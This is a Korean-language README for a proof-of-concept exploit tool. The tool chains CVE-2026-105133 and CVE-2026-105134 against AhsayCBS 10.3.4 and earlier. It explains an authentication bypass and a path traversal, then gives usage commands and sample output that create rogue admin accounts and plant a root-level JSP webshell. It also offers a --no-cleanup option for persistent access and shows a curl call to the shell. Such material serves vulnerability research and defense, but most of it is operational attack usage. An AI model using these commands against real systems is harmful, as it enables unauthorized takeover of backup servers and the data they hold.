AhsayCBS에 영향을 미치는 CVE-2026-105133 및 CVE-2026-105134에 대한 개념 증명 익스플로잇
CVE-2026-105133 + CVE-2026-105134 — AhsayCBS ≤10.3.4의 인증되지 않은 원격 코드 실행
근본 원인, 익스플로잇 및 침해 지표를 다루는 기술 분석은 Horizon3.ai 공격 연구 블로그에서 확인할 수 있습니다:
AhsayCBS 버전 10.3.4 및 이전 버전은 JSON API 및 복제 수신기 모듈의 두 가지 연쇄 인증 우회 및 경로 순회 취약점을 통해 인증되지 않은 원격 코드 실행에 취약합니다. 공격자는 자격 증명 없이 전체 관리자 제어 권한을 획득하거나 직접 RCE를 수행할 수 있습니다.
com.ahsay.obs.api.json.JSONApi.execute() 메서드는 JSON 요청 본문에 {"FromServlet":"Y"}가 포함된 경우 checkSysPwd() 자격 증명 검증을 건너뜁니다. 이를 통해 인증되지 않은 공격자가 자격 증명 없이 모든 JSON API 작업을 호출할 수 있습니다.
영향: 민감한 작업에 대한 인증되지 않은 JSON API 접근.
복제 수신기 파일 업로드 엔드포인트(PUT /rps/obs7/rpsfile/upload)는 공격자가 제어하는 UserHome 및 TopDir 헤더로부터 getReplicatedPath()를 통해 쓰기 경로를 구성하며, com.ahsay.c 경로 거부 목록을 적용하지 않습니다. 공격자는 Tomcat의 웹 제공 디렉터리(../../webapps/)로 순회하여 실행 가능한 JSP 파일을 업로드할 수 있습니다.
인증 우회를 사용하여 새로운 시스템 관리자 계정을 생성합니다. 라이선스 또는 복제 구성에 관계없이 모든 AhsayCBS 설치에서 작동합니다.
python3 ahsay_rce_poc.py --url https://target.example.com
출력:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[*] Creating ADMIN account 'svc_abcdef' via AddSysUser (unauthenticated)...
[+] Created system user 'svc_abcdef' (Role=ADMIN)
[+] Confirmed: the account authenticates as a functional ADMIN
[+] Admin credentials
Console : https://target.example.com/cbs/
Username: svc_abcdef
Password: TK$#m9q@2pL!xR4vN
Role : ADMIN
[*] Cleaning up...
[+] Removed admin account 'svc_abcdef'
[+] Done.
복제 수신기의 경로 순회를 이용해 인증된 웹셸을 업로드합니다. 대상이 라이선스가 있고 복제 수신기로 구성되어 있어야 합니다. 서비스 계정으로 RCE를 달성합니다.
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
출력:
AhsayCBS <=10.3.4 unauthenticated takeover (CVE-2026-105133 + CVE-2026-105134)
[*] Target: https://target.example.com
[*] Checking authentication bypass (CVE-2026-105133)...
[+] Target is VULNERABLE: auth check is skipped with FromServlet=Y
[+] Created replication receiver 'rqxmouq' (SystemHome=/opt/AhsayCBS/rpsrecv_ggsrer)
[+] Uploaded webshell -> /rps/status_vomejx.jsp (auth-gated)
[*] Webshell: https://target.example.com/rps/status_vomejx.jsp?auth=d9facce9a7e9535aab16270e36bf7527
[+] Remote code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Running: id
uid=0(root) gid=0(root) groups=0(root)
[*] Cleaning up...
[+] Removed webshell /rps/status_vomejx.jsp
[+] Removed receiver 'rqxmouq' (Id=2)
[+] Done.
pip install requests
변경을 가하지 않고 대상이 취약한지 테스트합니다:
python3 ahsay_rce_poc.py --url https://target.example.com --check
새 관리자 계정 생성:
# Auto-generated credentials (default)
python3 ahsay_rce_poc.py --url https://target.example.com
# Custom username and password
python3 ahsay_rce_poc.py --url https://target.example.com \
--admin-user admin_user \
--admin-pass 'P@ssw0rd123'
# Custom role (default: ADMIN)
python3 ahsay_rce_poc.py --url https://target.example.com --role OPERATOR
임시 웹셸을 통해 명령 실행:
# Execute 'id' command
python3 ahsay_rce_poc.py --url https://target.example.com --replication --cmd id
# Interactive webshell (use --no-cleanup to keep the shell)
python3 ahsay_rce_poc.py --url https://target.example.com --replication \
--no-cleanup \
--secret mysecret123 \
--shell-name cmd.jsp
# Then access via:
# curl 'https://target.example.com/rps/cmd.jsp?auth=mysecret123&cmd=whoami'
General:
-u, --url URL Target base URL (required)
-t, --timeout SECONDS HTTP timeout (default: 30)
-k, --insecure Ignore TLS cert errors (default: on)
--check Detect vulnerability without exploitation
--no-cleanup Leave artifacts in place for further access
Admin Takeover:
--admin-user USER Username to create (default: random)
--admin-pass PASS Password to set (default: random strong)
--role ROLE User role: ADMIN, OPERATOR, etc. (default: ADMIN)
Replication RCE:
--replication Use replication RCE mode (requires licensed receiver)
-c, --cmd COMMAND Command to execute
-r, --install-root PATH AhsayCBS install directory (default: /opt/AhsayCBS)
-w, --webapp NAME Web app to upload JSP into (default: rps)
--secret HEX Webshell auth secret (default: random)
--shell-name NAME Webshell filename (default: random)
"이 소프트웨어는 순전히 학술 연구 및 효과적인 방어 기술 개발을 목적으로 만들어졌으며, 명시적으로 허가된 경우를 제외하고 시스템을 공격하는 데 사용되어서는 안 됩니다." 프로젝트 유지관리자는 오용에 대해 어떠한 책임도 지지 않습니다. 책임감 있게 사용하십시오.